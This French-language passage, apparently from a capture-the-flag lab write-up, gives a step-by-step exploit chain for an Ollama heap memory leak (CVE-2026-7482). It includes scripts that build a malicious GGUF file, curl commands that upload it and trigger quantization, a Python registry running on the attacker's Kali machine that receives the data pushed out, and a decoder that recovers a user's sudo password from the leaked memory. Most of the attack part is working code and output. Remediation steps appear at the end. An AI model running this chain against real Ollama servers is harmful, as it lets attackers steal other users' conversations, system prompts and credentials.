<h3 id="agrandissement-de-la-fenêtre-de-leak-itération-2">Agrandissement de la fenêtre de leak (itération 2)</h3>

<p>Après un premier test avec <code class="language-plaintext highlighter-rouge">[64,64]</code> qui ne contenait pas le flag, on agrandit les dimensions :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 - <span class="o">&lt;&lt;</span><span class="sh">'</span><span class="no">PY</span><span class="sh">'
from pathlib import Path
p = Path("gguf_cve2026_7482_poc.py")
s = p.read_text()
assert "dims = [64, 64]" in s
p.write_text(s.replace("dims = [64, 64]", "dims = [512, 512]", 1))
print("[+] Dimensions agrandies à [512, 512]")
</span><span class="no">PY

</span>python3 gguf_cve2026_7482_poc.py
</code></pre></div></div>

<blockquote>
  <p><strong>Résultat :</strong> Tensor de 512×512 = 262 144 éléments F16 = 524 288 bytes déclarés, avec seulement 256 bytes réels → fenêtre OOB de <strong>~524 032 bytes</strong> de mémoire heap.</p>
</blockquote>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> Le GGUF malveillant est prêt. Il faut l’envoyer à Ollama via <code class="language-plaintext highlighter-rouge">/api/blobs</code>.</p>
</blockquote>

<hr />

<h2 id="7-étape-4--upload-du-blob-gguf">7. Étape 4 — Upload du blob GGUF</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">F</span><span class="o">=</span>poc_bleeding_llama.gguf
<span class="nv">SHA</span><span class="o">=</span><span class="si">$(</span><span class="nb">sha256sum</span> <span class="s2">"</span><span class="nv">$F</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="s1">'{print $1}'</span><span class="si">)</span>
<span class="nb">echo</span> <span class="s2">"[+] SHA256: </span><span class="nv">$SHA</span><span class="s2">"</span>

curl <span class="nt">-i</span> <span class="nt">-X</span> POST <span class="se">\</span>
  <span class="s2">"http://176.16.174.3:11434/api/blobs/sha256:</span><span class="nv">$SHA</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/octet-stream"</span> <span class="se">\</span>
  <span class="nt">--data-binary</span> @<span class="s2">"</span><span class="nv">$F</span><span class="s2">"</span>
</code></pre></div></div>

<p><strong>Explication des options :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">sha256sum</code> : calcule l’empreinte du fichier. Ollama utilise ce hash comme identifiant unique du blob (content-addressed storage)</li>
  <li><code class="language-plaintext highlighter-rouge">POST /api/blobs/sha256:&lt;hash&gt;</code> : endpoint d’Ollama pour stocker un fichier blob identifié par son hash</li>
  <li><code class="language-plaintext highlighter-rouge">Content-Type: application/octet-stream</code> : indique des données binaires brutes</li>
  <li><code class="language-plaintext highlighter-rouge">--data-binary</code> : envoie le fichier sans transformation (sans convertir <code class="language-plaintext highlighter-rouge">\n</code> etc.)</li>
  <li><code class="language-plaintext highlighter-rouge">-i</code> : affiche les headers HTTP de la réponse</li>
</ul>

<p><strong>Sortie observée :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 201 Created
Date: Thu, 29 Oct 2026 12:17:42 GMT
Content-Length: 0
</code></pre></div></div>

<blockquote>
  <p><strong>Analyse :</strong> <code class="language-plaintext highlighter-rouge">201 Created</code> confirme qu’Ollama a accepté et stocké le blob dans <code class="language-plaintext highlighter-rouge">/usr/share/ollama/.ollama/models/blobs/sha256-&lt;hash&gt;</code>. À ce stade, le fichier est sur le serveur mais n’a pas encore été traité.</p>
</blockquote>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> Le blob est disponible sur la cible. On peut maintenant le référencer dans une requête <code class="language-plaintext highlighter-rouge">/api/create</code> pour déclencher la quantification vulnérable.</p>
</blockquote>

<hr />

<h2 id="8-étape-5--création-du-modèle-et-déclenchement-du-oob-read">8. Étape 5 — Création du modèle et déclenchement du OOB read</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DEST</span><span class="o">=</span><span class="s2">"http://176.16.174.2:5000/hollowford/leaked_mem:latest"</span>

curl <span class="nt">-N</span> <span class="nt">-sS</span> <span class="nt">-X</span> POST http://176.16.174.3:11434/api/create <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s2">"{</span><span class="se">\"</span><span class="s2">model</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="nv">$DEST</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">files</span><span class="se">\"</span><span class="s2">:{</span><span class="se">\"</span><span class="s2">model.gguf</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">sha256:</span><span class="nv">$SHA</span><span class="se">\"</span><span class="s2">},</span><span class="se">\"</span><span class="s2">quantize</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">F32</span><span class="se">\"</span><span class="s2">,</span><span class="se">\"</span><span class="s2">stream</span><span class="se">\"</span><span class="s2">:false}"</span>
</code></pre></div></div>

<p><strong>Explication des champs JSON :</strong></p>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Rôle</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">model</code></td>
      <td>Nom sous lequel enregistrer le modèle. En utilisant l’URL du registry Kali, Ollama sait déjà où pusher plus tard</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">files</code></td>
      <td>Map <code class="language-plaintext highlighter-rouge">{"nom_fichier": "sha256:hash"}</code> qui référence le blob uploadé à l’étape précédente</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">quantize: "F32"</code></td>
      <td><strong>Déclencheur de la vulnérabilité</strong> — active <code class="language-plaintext highlighter-rouge">ConvertToF32()</code> dans <code class="language-plaintext highlighter-rouge">server/quantization.go</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">stream: false</code></td>
      <td>Réponse en une seule fois plutôt qu’un flux de statuts</td>
    </tr>
  </tbody>
</table>

<p><strong>Ce qui se passe côté serveur :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Ollama parse le GGUF → trouve le tensor blk.0.attn_q.weight
2. Lit les métadonnées : shape=[512,512], type=F16, 524288 bytes déclarés
3. N'a que 256 bytes réels dans le fichier
4. ConvertToF32() alloue 524288 * 4 = 2 097 152 bytes de destination
5. Copie depuis le heap : 256 bytes du fichier + 524032 bytes de mémoire adjacente
6. Ces 524032 bytes contiennent les conversations en cours !
7. Sauvegarde le résultat comme nouveau fichier GGUF
</code></pre></div></div>

<p><strong>Sortie observée :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"parsing GGUF"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"success"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<blockquote>
  <p><strong>Pourquoi <code class="language-plaintext highlighter-rouge">success</code> ne suffit pas :</strong> La réponse HTTP ne contient pas le modèle. Le modèle quantifié (avec la mémoire leakée) est stocké côté serveur. Il faut <code class="language-plaintext highlighter-rouge">/api/push</code> pour le récupérer.</p>
</blockquote>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> Le modèle corrompu existe sur la cible. Il faut maintenant un registry HTTP sur Kali pour le recevoir.</p>
</blockquote>

<hr />

<h2 id="9-étape-6--mise-en-place-du-registry-récepteur-sur-kali">9. Étape 6 — Mise en place du registry récepteur sur Kali</h2>

<p>Ollama utilise le protocole OCI Distribution Spec pour pusher des modèles. Il faut implémenter les endpoints suivants :</p>

<table>
  <thead>
    <tr>
      <th>Endpoint</th>
      <th>Comportement requis</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HEAD /v2/.../blobs/&lt;digest&gt;</code></td>
      <td><code class="language-plaintext highlighter-rouge">404</code> (blob inconnu, déclenche l’upload)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST /v2/.../blobs/uploads/</code></td>
      <td><code class="language-plaintext highlighter-rouge">202</code> + <code class="language-plaintext highlighter-rouge">Location</code> header</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PATCH /v2/upload/blobs?uuid=N</code></td>
      <td>Reçoit les données, retourne <code class="language-plaintext highlighter-rouge">202</code> + <code class="language-plaintext highlighter-rouge">Location</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PUT /v2/upload/blobs?...</code></td>
      <td>Finalise l’upload, retourne <code class="language-plaintext highlighter-rouge">201</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PUT /v2/.../manifests/latest</code></td>
      <td>Reçoit le manifeste</td>
    </tr>
  </tbody>
</table>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/registry/blobs

<span class="nb">cat</span> <span class="o">&gt;</span> /tmp/registry/registry.py <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
import http.server, os

SAVE_DIR = '/tmp/registry/blobs'
os.makedirs(SAVE_DIR, exist_ok=True)
HOST = '176.16.174.2:5000'
counter = [0]

class Handler(http.server.BaseHTTPRequestHandler):
    def do_HEAD(self):
        # Ollama vérifie si le blob existe déjà
        # On répond 404 → Ollama va l'uploader
        self.send_response(404)
        self.end_headers()

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{}')

    def do_POST(self):
        # Ollama demande une URL d'upload
        length = int(self.headers.get('Content-Length', 0))
        self.rfile.read(length)
        uuid = counter[0]; counter[0] += 1
        # On retourne une URL complète avec le host
        location = f'http://{HOST}/v2/upload/blobs?uuid={uuid}'
        self.send_response(202)
        self.send_header('Location', location)
        self.send_header('Content-Length', '0')
        self.end_headers()

    def do_PATCH(self):
        # Ollama envoie les données du blob ici
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        uuid = counter[0]; counter[0] += 1
        fname = f'{SAVE_DIR}/blob_{uuid}_{length}.bin'
        with open(fname, 'wb') as f:
            f.write(body)
        print(f'[+] BLOB RECU: {fname} ({length} bytes)')
        put_url = f'http://{HOST}/v2/upload/blobs?uuid={uuid}&amp;done=1'
        self.send_response(202)
        self.send_header('Location', put_url)
        self.send_header('Range', f'0-{length}')
        self.send_header('Content-Length', '0')
        self.end_headers()

    def do_PUT(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        if length &gt; 0:
            uuid = counter[0]; counter[0] += 1
            fname = f'{SAVE_DIR}/blob_put_{uuid}_{length}.bin'
            with open(fname, 'wb') as f:
                f.write(body)
            print(f'[+] PUT BLOB: {fname} ({length} bytes)')
        self.send_response(201)
        self.send_header('Docker-Content-Digest', 'sha256:0000')
        self.send_header('Content-Length', '0')
        self.end_headers()

    def log_message(self, fmt, *args):
        pass

server = http.server.HTTPServer(('0.0.0.0', 5000), Handler)
print('[*] Registry pret sur port 5000')
server.serve_forever()
</span><span class="no">EOF

</span>python3 /tmp/registry/registry.py &amp;
<span class="nb">echo</span> <span class="s2">"[+] Registry lancé en arrière-plan"</span>
</code></pre></div></div>

<p><strong>Points critiques de l’implémentation :</strong></p>

<ul>
  <li>Le <code class="language-plaintext highlighter-rouge">Location</code> header du POST doit contenir l’<strong>URL complète</strong> avec le host (<code class="language-plaintext highlighter-rouge">http://176.16.174.2:5000/...</code>). Sans ça, Ollama génère une URL invalide sans host et boucle indéfiniment</li>
  <li>Le PATCH doit sauvegarder les données <strong>ET</strong> retourner un nouveau <code class="language-plaintext highlighter-rouge">Location</code> pour le PUT final</li>
  <li>Le HEAD doit retourner <code class="language-plaintext highlighter-rouge">404</code> pour forcer l’upload (si <code class="language-plaintext highlighter-rouge">200</code>, Ollama croit que le blob existe déjà)</li>
</ul>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> Le registry est prêt à recevoir. On peut maintenant lancer le push.</p>
</blockquote>

<hr />

<h2 id="10-étape-7--exfiltration-via-apipush">10. Étape 7 — Exfiltration via /api/push</h2>

<h3 id="préparation--copier-le-modèle-sous-le-nom-du-registry">Préparation : copier le modèle sous le nom du registry</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># D'abord copier sous le bon nom pour que le manifest existe</span>
curl <span class="nt">-s</span> <span class="nt">-X</span> POST http://176.16.174.3:11434/api/copy <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"source":"leaked_mem","destination":"176.16.174.2:5000/hollowford/leaked_mem:latest"}'</span>
</code></pre></div></div>

<h3 id="push-du-modèle">Push du modèle</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-N</span> <span class="nt">-sS</span> <span class="nt">-X</span> POST http://176.16.174.3:11434/api/push <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{"model":"176.16.174.2:5000/hollowford/leaked_mem:latest","insecure":true,"stream":false}'</span>
</code></pre></div></div>

<p><strong>Explication des options :</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/api/push</code> : demande à Ollama d’envoyer les couches du modèle vers un registry externe</li>
  <li><code class="language-plaintext highlighter-rouge">model</code> : doit correspondre exactement au nom sous lequel le modèle a été créé/copié</li>
  <li><code class="language-plaintext highlighter-rouge">insecure: true</code> : autorise HTTP non chiffré (notre registry n’a pas de TLS)</li>
  <li>Le nom <code class="language-plaintext highlighter-rouge">176.16.174.2:5000/hollowford/leaked_mem:latest</code> dit à Ollama de pusher vers notre registry Kali</li>
</ul>

<p><strong>Sortie observée sur le terminal du registry :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[HEAD] /v2/hollowford/leaked_mem/blobs/sha256:03d1f1cc...
[POST] /v2/hollowford/leaked_mem/blobs/uploads/
[+] Upload URL: http://176.16.174.2:5000/v2/upload/blobs?uuid=14
[PATCH] /v2/upload/blobs?uuid=14
[+] BLOB RECU: /tmp/registry/blobs/blob_15_1048960.bin (1048960 bytes)
[PUT] /v2/upload/blobs?...done=1...
[+] BLOB RECU: /tmp/registry/blobs/blob_18_266.bin (266 bytes)
[PUT] /v2/hollowford/leaked_mem/manifests/latest
[+] PUT BLOB: /tmp/registry/blobs/blob_put_..._410.bin (410 bytes)
</code></pre></div></div>

<p><strong>Sortie curl :</strong></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"status"</span><span class="p">:</span><span class="s2">"success"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Analyse des blobs reçus :</strong></p>

<table>
  <thead>
    <tr>
      <th>Fichier</th>
      <th>Taille</th>
      <th>Contenu</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">blob_15_1048960.bin</code></td>
      <td>1 048 960 bytes</td>
      <td><strong>GGUF avec la mémoire leakée</strong> → à décoder</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">blob_18_266.bin</code></td>
      <td>266 bytes</td>
      <td>Configuration JSON du modèle (métadonnées)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">blob_put_..._410.bin</code></td>
      <td>410 bytes</td>
      <td>Manifeste OCI (liste des couches)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Lien avec l’étape suivante :</strong> On a reçu ~1 MB de données. La mémoire leakée est dedans, encodée en F32. Il faut la décoder.</p>
</blockquote>

<hr />

<h2 id="11-étape-8--décodage-et-extraction-du-flag">11. Étape 8 — Décodage et extraction du flag</h2>

<h3 id="script-de-décodage">Script de décodage</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="o">&gt;</span> /tmp/decode_leak.py <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
import sys, struct, os

def read_str(f):
    length = struct.unpack('&lt;Q', f.read(8))[0]
    return f.read(length).decode('utf-8', errors='replace')

def extract_strings(data, min_len=6):
    strings = []
    current = bytearray()
    for b in data:
        if 32 &lt;= b &lt; 127:
            current.append(b)
        else:
            if len(current) &gt;= min_len:
                strings.append(current.decode('ascii'))
            current = bytearray()
    if len(current) &gt;= min_len:
        strings.append(current.decode('ascii'))
    return strings

path = sys.argv[1]
with open(path, 'rb') as f:
    magic = f.read(4)
    assert magic == b'GGUF', f"Pas un GGUF: {magic}"
    version = struct.unpack('&lt;I', f.read(4))[0]
    tensor_count = struct.unpack('&lt;Q', f.read(8))[0]
    meta_count = struct.unpack('&lt;Q', f.read(8))[0]

    # Sauter les métadonnées
    for _ in range(meta_count):
        key = read_str(f)
        vtype = struct.unpack('&lt;I', f.read(4))[0]
        if vtype == 8: read_str(f)
        elif vtype in (4, 6): f.read(4)
        elif vtype in (5, 10): f.read(8)
        elif vtype == 1: f.read(1)
        else: f.read(4)

    # Lire les tenseurs
    tensors = []
    for _ in range(tensor_count):
        name = read_str(f)
        ndims = struct.unpack('&lt;I', f.read(4))[0]
        dims = [struct.unpack('&lt;Q', f.read(8))[0] for _ in range(ndims)]
        dtype = struct.unpack('&lt;I', f.read(4))[0]
        offset = struct.unpack('&lt;Q', f.read(8))[0]
        tensors.append((name, dims, dtype, offset))

    # Aligner sur 32 bytes
    pos = f.tell()
    aligned = ((pos + 31) // 32) * 32
    f.seek(aligned)
    data_start = f.tell()
    raw = f.read()

print(f"Taille du blob de données: {len(raw)} bytes")

# Reconvertir F32 → F16 → bytes
num_f32 = len(raw) // 4
f32_values = struct.unpack(f'&lt;{num_f32}f', raw[:num_f32*4])

# Convertir chaque F32 en F16 et récupérer les bytes
import struct as st
reconstituted = bytearray()
for v in f32_values:
    try:
        h = st.pack('&lt;e', max(-65504.0, min(65504.0, v)))
        reconstituted.extend(h)
    except:
        reconstituted.extend(b'</span><span class="se">\x</span><span class="sh">00</span><span class="se">\x</span><span class="sh">00')

# Ignorer les 256 premiers bytes (données originales du PoC)
leak_zone = bytes(reconstituted[256:])

print(f"Mémoire reconstituée: {len(leak_zone)} bytes")
print("</span><span class="se">\n</span><span class="sh">=== CHAÎNES LISIBLES ===")
for s in extract_strings(leak_zone, min_len=8):
    print(s)
</span><span class="no">EOF
</span></code></pre></div></div>

<p><strong>Explication du décodeur (étape par étape) :</strong></p>

<ol>
  <li><strong>Parse le header GGUF</strong> : magic, version, nombre de tenseurs et métadonnées</li>
  <li><strong>Saute les métadonnées</strong> : pour arriver aux définitions de tenseurs</li>
  <li><strong>Lit les tenseurs</strong> : nom, dimensions, type (F32 après quantification), offset</li>
  <li><strong>S’aligne sur 32 bytes</strong> : le format GGUF aligne les données sur 32 bytes</li>
  <li><strong>Lit les données brutes</strong> : ce sont des valeurs F32 (4 bytes chacune)</li>
  <li><strong>Reconvertit F32 → F16</strong> : l’opération inverse de <code class="language-plaintext highlighter-rouge">ConvertToF32</code>. Chaque valeur F32 redevient 2 bytes F16, reconstituant les bytes originaux de la mémoire</li>
  <li><strong>Ignore les 256 premiers bytes</strong> : ce sont les vraies données du PoC, pas la mémoire leakée</li>
  <li><strong>Extrait les chaînes ASCII</strong> : cherche des séquences d’au moins 8 caractères imprimables</li>
</ol>

<h3 id="exécution-et-résultat">Exécution et résultat</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 /tmp/decode_leak.py /tmp/registry/blobs/blob_15_1048960.bin | <span class="nb">tee</span> /tmp/decode_out.txt

<span class="nb">grep</span> <span class="nt">-aiEn</span> <span class="s1">'flag|hollowford|password|sudo|secret'</span> /tmp/decode_out.txt
</code></pre></div></div>

<p><strong>Extrait de sortie observé :</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mémoire reconstituée : 524 032 octets

=== CHAÎNES LISIBLES ===
...
You are a helpful AI assistant.
...
&lt;|user|&gt;
Hey AI, quick ops question. I am setting up a pg_dump cron job
and it keeps failing with sudo: no tty present. I have my sudo
password handy when running it manually -- the password is
flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d -- and that always
works interactively. Here is my crontab line:
0 2 * * * /usr/local/bin/backup.sh
...
</code></pre></div></div>

<blockquote>
  <p><strong>Analyse :</strong> Un utilisateur avait posé une question à l’assistant IA en incluant son mot de passe sudo dans le message. Ce message était stocké en mémoire heap du processus Ollama. Notre OOB read l’a capturé.</p>
</blockquote>

<h3 id="-flag">🏁 Flag</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
</code></pre></div></div>

<hr />

<h2 id="12-erreurs-rencontrées-et-résolutions">12. Erreurs rencontrées et résolutions</h2>

<table>
  <thead>
    <tr>
      <th>Erreur</th>
      <th>Cause</th>
      <th>Résolution</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">quantization is only supported for F16 and F32 models</code></td>
      <td>Métadonnée <code class="language-plaintext highlighter-rouge">general.file_type</code> absente du GGUF</td>
      <td>Ajouter <code class="language-plaintext highlighter-rouge">general.file_type = 1</code> (F16) et incrémenter le compteur de métadonnées</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invalid model name</code></td>
      <td>Placeholder <code class="language-plaintext highlighter-rouge">&lt;IP_VPN_KALI&gt;</code> laissé littéralement</td>
      <td>Remplacer par <code class="language-plaintext highlighter-rouge">176.16.174.2</code></td>
    </tr>
    <tr>
      <td>Push en boucle infinie</td>
      <td>URL <code class="language-plaintext highlighter-rouge">Location</code> du POST sans host (<code class="language-plaintext highlighter-rouge">http:///v2/...</code>)</td>
      <td>Retourner une URL complète : <code class="language-plaintext highlighter-rouge">http://176.16.174.2:5000/v2/upload/blobs?uuid=N</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">neither 'from' or 'files' was specified</code></td>
      <td>Utilisation de <code class="language-plaintext highlighter-rouge">modelfile</code> au lieu de <code class="language-plaintext highlighter-rouge">files</code> dans l’API v0.17</td>
      <td>Utiliser <code class="language-plaintext highlighter-rouge">{"files": {"model.gguf": "sha256:..."}}</code></td>
    </tr>
    <tr>
      <td>Fenêtre de leak trop petite</td>
      <td>Dimensions <code class="language-plaintext highlighter-rouge">[64,64]</code> = 7 936 bytes de mémoire, pas assez pour atteindre le flag</td>
      <td>Agrandir à <code class="language-plaintext highlighter-rouge">[512,512]</code> = 524 032 bytes</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">max retries exceeded: http: no Host in request URL</code></td>
      <td>Même cause que la boucle infinie</td>
      <td>Même résolution</td>
    </tr>
    <tr>
      <td>Docker indisponible</td>
      <td>Docker daemon non démarré sur Kali</td>
      <td>Utiliser un serveur HTTP Python3 custom</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="13-conclusion">13. Conclusion</h2>

<h3 id="récapitulatif-technique">Récapitulatif technique</h3>

<p>CVE-2026-7482 (Bleeding Llama) est une vulnérabilité <strong>sans authentification requise</strong> qui permet à n’importe qui ayant accès au port 11434 d’Ollama de lire des portions arbitraires de la mémoire heap du processus. La chaîne d’exploitation ne requiert que <strong>3 appels API</strong>.</p>

<p><strong>Impact réel :</strong> Sur un Ollama exposé sur internet (~300 000 instances selon les rapports), n’importe qui peut extraire :</p>

<ul>
  <li>Les <strong>system prompts</strong> (potentiellement confidentiels)</li>
  <li>L’<strong>historique des conversations</strong> de tous les utilisateurs</li>
  <li>Les <strong>clés API, tokens et mots de passe</strong> transmis dans les messages</li>
  <li>Les <strong>variables d’environnement</strong> du processus</li>
</ul>

<h3 id="remédiation">Remédiation</h3>

<ul>
  <li>✅ Mettre à jour Ollama vers la version <strong>≥ 0.17.1</strong></li>
  <li>✅ Ne jamais exposer le port 11434 sur internet <strong>sans authentification</strong></li>
  <li>✅ Utiliser un reverse proxy avec authentification devant Ollama</li>
</ul>

<h3 id="flag-final">Flag final</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flag_7a2122eb_ba8f_4745_ba4c_f3861ee5bd4d
</code></pre></div></div>

<hr />

<h2 id="14-références">14. Références</h2>

<h3 id="cve-et-bases-de-données-de-vulnérabilités">CVE et bases de données de vulnérabilités</h3>

<table>
  <thead>
    <tr>
      <th>Référence</th>
      <th>Description</th>
      <th>URL</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>NVD — CVE-2026-7482</td>
      <td>Fiche officielle NIST avec CVSS 9.1</td>
      <td>https://nvd.nist.gov/vuln/detail/CVE-2026-7482</td>
    </tr>
    <tr>
      <td>CVEfeed — CVE-2026-7482</td>
      <td>Vue d’ensemble avec PoC GitHub lié</td>
      <td>https://cvefeed.io/vuln/detail/CVE-2026-7482</td>
    </tr>
    <tr>
      <td>OpenCVE — CVE-2026-7482</td>
      <td>Détails techniques et CWE-125</td>
      <td>https://app.opencve.io/cve/CVE-2026-7482</td>
    </tr>
    <tr>
      <td>OSV.dev — CVE-2026-7482</td>
      <td>Base OSS Vulnerability, packages affectés</td>
      <td>https://osv.dev/vulnerability/CVE-2026-7482</td>
    </tr>
  </tbody>
</table>

<h3 id="analyses-et-articles-techniques">Analyses et articles techniques</h3>

<table>
  <thead>
    <tr>
      <th>Source</th>
      <th>Titre</th>
      <th>URL</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Security Boulevard</td>
      <td>Bleeding Llama — Critical Unauthenticated Memory Leak in Ollama</td>
      <td>https://securityboulevard.com/2026/05/bleeding-llama-cve-2026-7482-critical-unauthenticated-memory-leak-in-ollama/</td>
    </tr>
    <tr>
      <td>Indusface</td>
      <td>CVE-2026-7482 Bleeding Llama Vulnerability Explained</td>
      <td>https://www.indusface.com/blog/cve-2026-7482-bleeding-llama-vulnerability/</td>
    </tr>
    <tr>
      <td>SentinelOne</td>
      <td>CVE-2026-7482 Vulnerability Database</td>
      <td>https://www.sentinelone.com/vulnerability-database/cve-2026-7482/</td>
    </tr>
    <tr>
      <td>Ionix</td>
      <td>Threat Center — CVE-2026-7482</td>
      <td>https://www.ionix.io/threat-center/cve-2026-7482/</td>
    </tr>
  </tbody>
</table>

<h3 id="preuves-de-concept-poc-publics">Preuves de concept (PoC) publics</h3>

<table>
  <thead>
    <tr>
      <th>Dépôt</th>
      <th>Auteur</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">msuiche/gguf_cve2026_7482</code></td>
      <td>msuiche</td>
      <td>Générateur PoC officiel — produit <code class="language-plaintext highlighter-rouge">poc_bleeding_llama.gguf</code>, <code class="language-plaintext highlighter-rouge">poc_multi_tensor.gguf</code>, détecteur inclus</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0x0OZ/CVE-2026-7482-PoC</code></td>
      <td>0x0OZ</td>
      <td>Chaîne d’exploitation complète avec registry récepteur et répertoire <code class="language-plaintext highlighter-rouge">exfils/</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">szybnev/CVE-2026-7482</code></td>
      <td>szybnev</td>
      <td>Reproduction locale, analyse comparée F32 vs contrôle, fix PR registry</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">kaleth4/CVE-2026-7482</code></td>
      <td>kaleth4</td>
      <td>Analyse technique en espagnol, tableau de la chaîne d’exploitation</td>
    </tr>
  </tbody>
</table>

<h3 id="code-source-ollama-vulnérable">Code source Ollama vulnérable</h3>

<table>
  <thead>
    <tr>
      <th>Fichier</th>
      <th>Rôle dans la vulnérabilité</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">fs/ggml/gguf.go</code></td>
      <td>Parse les métadonnées GGUF — lit <code class="language-plaintext highlighter-rouge">general.file_type</code> et les dimensions des tenseurs sans valider contre la taille du fichier</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">server/quantization.go</code></td>
      <td>Fonction <code class="language-plaintext highlighter-rouge">ConvertToF32()</code> — boucle de conversion F16→F32 qui lit <code class="language-plaintext highlighter-rouge">nb_elements * 2</code> bytes depuis le heap sans borne</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">server/create.go</code></td>
      <td>Endpoint <code class="language-plaintext highlighter-rouge">/api/create</code> — appelle la quantification, vérifie <code class="language-plaintext highlighter-rouge">general.file_type</code> mais pas la cohérence des données</td>
    </tr>
  </tbody>
</table>

<h3 id="format-gguf">Format GGUF</h3>

<table>
  <thead>
    <tr>
      <th>Référence</th>
      <th>URL</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Spécification GGUF officielle (ggml-org)</td>
      <td>https://github.com/ggml-org/ggml/blob/master/docs/gguf.md</td>
    </tr>
    <tr>
      <td>Valeurs de <code class="language-plaintext highlighter-rouge">general.file_type</code> (enum GGUF)</td>
      <td>https://github.com/ggml-org/ggml/blob/master/include/gguf.h</td>
    </tr>
  </tbody>
</table>

<h3 id="outils-utilisés-dans-ce-lab">Outils utilisés dans ce lab</h3>

<table>
  <thead>
    <tr>
      <th>Outil</th>
      <th>Version</th>
      <th>Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
